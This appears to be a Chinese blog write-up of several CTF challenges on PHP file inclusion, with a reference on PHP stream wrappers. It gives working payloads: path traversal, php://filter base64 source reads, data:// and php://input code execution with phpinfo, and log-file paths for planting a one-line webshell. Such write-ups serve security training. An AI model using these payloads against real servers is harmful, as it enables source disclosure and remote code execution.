CTF--文件包含

CTF

WarmUp 1

include函数的特性

以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’

构造payload

?file=hint.php?/../../../../ffffllllaaaagggg

[ACTF2020 新生赛]Include1

构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

[极客大挑战 2019]Secret File1

\1. 查看源代码,获得文件Archive_room.php

\2. 进入后点击secret,发现弹出“没看清么?回去再仔细看看吧”

\3. 使用bp抓包,得到文件secr3t.php

\4. 进入后发现注释“flag在flag.php里面”

\5. 由flag.php联想到php伪协议

\6. 构造payload:?file=php://filter/read=convert.base64-encode/resource=flag.php

fileclude(攻防世界)

  1. file1包含在include函数中
  2. flie2包含在file_get_contents函数中
  3. 使用php伪协议进行解
  4. ?file1=php://filter/read=convert.base64-encode/resource=flag.php&&file2=data://text/plain,hello%20ctf

知识点

伪协议

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

下面是常见伪协议的作用

协议作用
php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype=“multipart/form-data” 的时候php://input 是无效的。
php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符分隔
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

file://伪协议

此协议可以在双off的情况下使用,用于访问本地文件

使用方法:file://文件绝对路径和文件名 如http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

data://text/plain协议

此协议需要在双on的情况下才能使用,很常用的数据流构造器,将读取后面base编码字符串后解码的数据作为数据流的输入

使用方法:data://text/plain;base64,base64编码字符 如http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=data://text/plain,字符 如http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

php:input协议

此协议需要allow_url_include为on,可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。

使用方法:php://input,然后post需要执行的数据 如http://127.0.0.1/cmd.php?file=php://input 然后在post中<?php phpinfo() ?>

日志文件写入一句话木马
对于Apache,日志存放路径:/var/log/apache/access.log
对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

新评论

称呼不能为空
邮箱格式不合法
网站格式不合法
内容不能为空